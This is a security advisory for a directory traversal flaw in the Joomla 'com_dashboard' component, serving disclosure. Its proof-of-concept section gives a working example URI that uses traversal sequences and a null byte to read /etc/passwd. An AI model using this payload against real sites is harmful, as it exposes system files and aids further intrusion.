Joomla! 'com_dashboard' Component Directory Traversal Vulnerability

BID:37689

Info

Joomla! 'com_dashboard' Component Directory Traversal Vulnerability

Bugtraq ID: 37689
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jan 10 2010 12:00AM
Updated: Jan 10 2010 12:00AM
Credit: FL0RiX
Vulnerable: Joomla com_dashboard 0
Not Vulnerable:

Discussion

Joomla! 'com_dashboard' Component Directory Traversal Vulnerability

The 'com_dashboard' component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Exploit / POC

Joomla! 'com_dashboard' Component Directory Traversal Vulnerability

Attackers can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/index.php?option=com_dashboard&controller=../../../../../../../etc/passwd%00

Solution / Fix

Joomla! 'com_dashboard' Component Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Joomla! 'com_dashboard' Component Directory Traversal Vulnerability

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